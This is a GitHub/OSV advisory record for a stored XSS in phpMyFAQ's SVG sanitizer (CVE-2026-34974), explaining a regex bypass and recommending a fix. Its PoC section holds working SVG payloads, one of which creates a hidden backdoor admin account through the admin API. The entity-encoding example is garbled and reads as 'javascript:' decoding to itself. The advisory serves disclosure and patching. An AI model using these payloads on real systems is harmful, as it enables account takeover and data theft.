{"id":"GHSA-5crx-pfhq-4hgg","summary":"phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation","details":"### Summary\nThe regex-based SVG sanitizer in phpMyFAQ (`SvgSanitizer.php`) can be bypassed using HTML entity encoding in `javascript:` URLs within SVG `\u003ca href\u003e` attributes. Any user with `edit_faq` permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.\n\n### Details\nThe file `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php` (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for `javascript:` URL detection is:\n\n`/href\\s*=\\s*[\"\\']javascript:[^\"\\']*[\"\\']/i`\n\nThis pattern matches the literal string `javascript:` but fails when the URL is HTML entity encoded. For example, `javascript:` decodes to `javascript:` in the browser, but does NOT match the regex. The `isSafe()` method returns `true`, so the SVG is accepted without sanitization.\n\nAdditionally, the `DANGEROUS_ELEMENTS` blocklist misses `\u003canimate\u003e`, `\u003cset\u003e`, and `\u003cuse\u003e` elements which can also be used to execute JavaScript in SVG context.\n\nUploaded SVG files are served with `Content-Type: image/svg+xml` and no `Content-Disposition: attachment` header, so browsers render them inline and execute any JavaScript they contain.\n\nThe image upload endpoint (`/admin/api/content/images`) only requires the `edit_faq` permission — not full admin — so any editor-level user can upload malicious SVGs.\n\n### PoC\n### Basic XSS (confirmed working in Chrome 146 and Edge)\n\n1. Login to phpMyFAQ admin panel with any account that has `edit_faq` permission\n2. Navigate to Admin → Content → Add New FAQ\n3. In the TinyMCE editor, click the image upload button\n4. Upload this SVG file:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\"\u003e\n  \u003ca href=\"javascript:alert(document.domain)\"\u003e\n    \u003ctext x=\"20\" y=\"50\" font-size=\"16\" fill=\"red\"\u003eClick for XSS\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n5. The SVG is uploaded to `/content/user/images/\u003ctimestamp\u003e_\u003cfilename\u003e.svg`\n6. Open the SVG URL directly in a browser\n7. Click the red text → `alert(document.domain)` executes\n\n### Privilege Escalation (Editor → Admin Takeover)\n\n1. As editor, upload this SVG:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 500 300\"\u003e\n  \u003crect width=\"500\" height=\"300\" fill=\"#f8f9fa\"/\u003e\n  \u003ctext x=\"250\" y=\"100\" text-anchor=\"middle\" font-size=\"22\" fill=\"#333\"\u003e📋 System Notice\u003c/text\u003e\n  \u003ca href=\"javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=\u003er.json()).then(d=\u003edocument.title='pwned')\"\u003e\n    \u003crect x=\"150\" y=\"170\" width=\"200\" height=\"50\" rx=\"8\" fill=\"#0d6efd\"/\u003e\n    \u003ctext x=\"250\" y=\"200\" text-anchor=\"middle\" font-size=\"16\" fill=\"white\"\u003eView Update →\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n2. Send the SVG URL to an admin\n3. Admin opens URL, clicks \"View Update →\"\n4. JavaScript creates backdoor admin user `backdoor:H4ck3d!`\n5. Attacker logs in as `backdoor` with full admin privileges\n\n\n### Impact\nThis is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with `edit_faq` permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:\n- Create backdoor admin accounts via the admin API\n- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)\n- Modify or delete FAQ content\n- Achieve full admin account takeover\nThe vulnerability affects all phpMyFAQ installations using the `SvgSanitizer` class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with `Content-Disposition: attachment` to prevent inline rendering.","aliases":["CVE-2026-34974"],"modified":"2026-04-06T17:34:13.869869Z","published":"2026-04-01T23:42:47Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-04-01T23:42:47Z","nvd_published_at":"2026-04-02T15:16:51Z","cwe_ids":["CWE-79"]},"references":[{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34974"},{"type":"PACKAGE","url":"https://github.com/thorsten/phpMyFAQ"},{"type":"WEB","url":"https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"}],"affected":[{"package":{"name":"thorsten/phpmyfaq","ecosystem":"Packagist","purl":"pkg:composer/thorsten/phpmyfaq"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.1.1"}]}],"versions":["2.10.0-alpha","2.8.0","2.8.0-RC","2.8.0-RC2","2.8.0-RC3","2.8.0-RC4","2.8.0-alpha2","2.8.0-alpha3","2.8.0-beta","2.8.0-beta2","2.8.0-beta3","2.8.1","2.8.10","2.8.11","2.8.12","2.8.13","2.8.14","2.8.15","2.8.16","2.8.17","2.8.18","2.8.19","2.8.2","2.8.20","2.8.21","2.8.22","2.8.23","2.8.24","2.8.25","2.8.26","2.8.27","2.8.28","2.8.29","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.8.9","2.9.0","2.9.0-alpha","2.9.0-alpha2","2.9.0-alpha3","2.9.0-alpha4","2.9.0-beta","2.9.0-beta2","2.9.0-rc","2.9.0-rc2","2.9.0-rc3","2.9.0-rc4","2.9.1","2.9.10","2.9.11","2.9.12","2.9.13","2.9.2","2.9.3","2.9.4","2.9.5","2.9.6","2.9.7","2.9.8","2.9.9","3.0.0","3.0.0-RC","3.0.0-RC.2","3.0.0-alpha","3.0.0-alpha.2","3.0.0-alpha.3","3.0.0-alpha.4","3.0.0-beta","3.0.0-beta.2","3.0.0-beta.3","3.0.1","3.0.10","3.0.11","3.0.12","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.0.7","3.0.8","3.0.9","3.1.0","3.1.0-RC","3.1.0-alpha","3.1.0-alpha.2","3.1.0-alpha.3","3.1.0-beta","3.1.1","3.1.10","3.1.11","3.1.12","3.1.13","3.1.14","3.1.15","3.1.16","3.1.17","3.1.18","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0-RC","3.2.0-RC.2","3.2.0-RC.4","3.2.0-alpha","3.2.0-beta","3.2.0-beta.2","3.2.1","3.2.10","3.2.2","3.2.3","3.2.4","3.2.5","3.2.6","3.2.7","3.2.8","3.2.9","4.0.0","4.0.0-RC","4.0.0-RC.2","4.0.0-RC.3","4.0.0-RC.4","4.0.0-RC.5","4.0.0-alpha","4.0.0-alpha.2","4.0.0-alpha.3","4.0.0-alpha.4","4.0.0-beta","4.0.0-beta.2","4.0.1","4.0.10","4.0.11","4.0.12","4.0.13","4.0.14","4.0.15","4.0.16","4.0.18","4.0.19","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0-RC","4.1.0-RC.2","4.1.0-RC.4","4.1.0-RC.5","4.1.0-RC.6","4.1.0-RC.7","4.1.0-alpha","4.1.0-alpha.2","4.1.0-alpha.3","4.1.0-beta","4.1.0-beta.2"],"database_specific":{"last_known_affected_version_range":"\u003c= 4.1.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-5crx-pfhq-4hgg/GHSA-5crx-pfhq-4hgg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}]}